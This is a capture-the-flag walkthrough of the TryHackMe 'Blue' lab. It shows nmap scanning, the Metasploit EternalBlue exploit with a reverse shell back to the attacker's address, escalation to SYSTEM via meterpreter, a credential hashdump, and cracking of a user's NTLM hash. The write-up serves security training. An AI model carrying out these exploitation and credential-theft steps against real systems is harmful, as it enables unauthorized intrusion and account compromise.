Blue

tryhackme.com - © TryHackMe

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Intro

Room Info
🔗 Name	Blue
🎯 Target IP	10.10.177.175
📈 Difficulty level	🟢Easy
💲 Subscription type	Free
🪟 OS	Windows

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Recon

nmap -p1-1000 10.10.177.175
nmap -sV -p445 10.10.177.175
nmap --script smb-vuln-ms17-010 -p445 10.10.177.175

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Exploitation

msfconsole -q

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/reverse_tcp
set RHOSTS 10.10.177.175
set LHOST 10.18.65.48
# LHOST = tun0 VPN interface IP
run

background # or CTRL+Z

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Privilege Escalation

• Used payload was windows/x64/shell/reverse_tcp, so convert the shell to a meterpreter shell.

search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
sessions
set SESSION 2
run

sessions 5
getuid
	Server username: NT AUTHORITY\SYSTEM
ps

• My process may not run as SYSTEM user. Select a PID (process ID) with the NT AUTHORITY\SYSTEM user, and migrate my process to that one. e.g. 1284 - spoolsv.exe

migrate 1284

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Post Exploitation

Cracking

hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

<Username>:<User ID>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:

aad3b435b51404eeaad3b435b51404ee is the LM hash for no password.

echo 'ffb43f0de35be4d9917ac0cc8ad57f8d' > jonhash.txt

john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt jonhash.txt

ffb43f0de35be4d9917ac0cc8ad57f8d is the NTLM hash for alqfna22.

Jon's credentials are jon:alqfna22.

Flags

• 🚩 In the meterpreter session

cd C:\\
dir
cat flag1.txt
flag{*******************

cd C:/Windows/System32/config
cat flag2.txt
flag{*****************************

cd C:\\Users\\
dir
cd Jon
cd Documents
cat flag3.txt
flag{********************************

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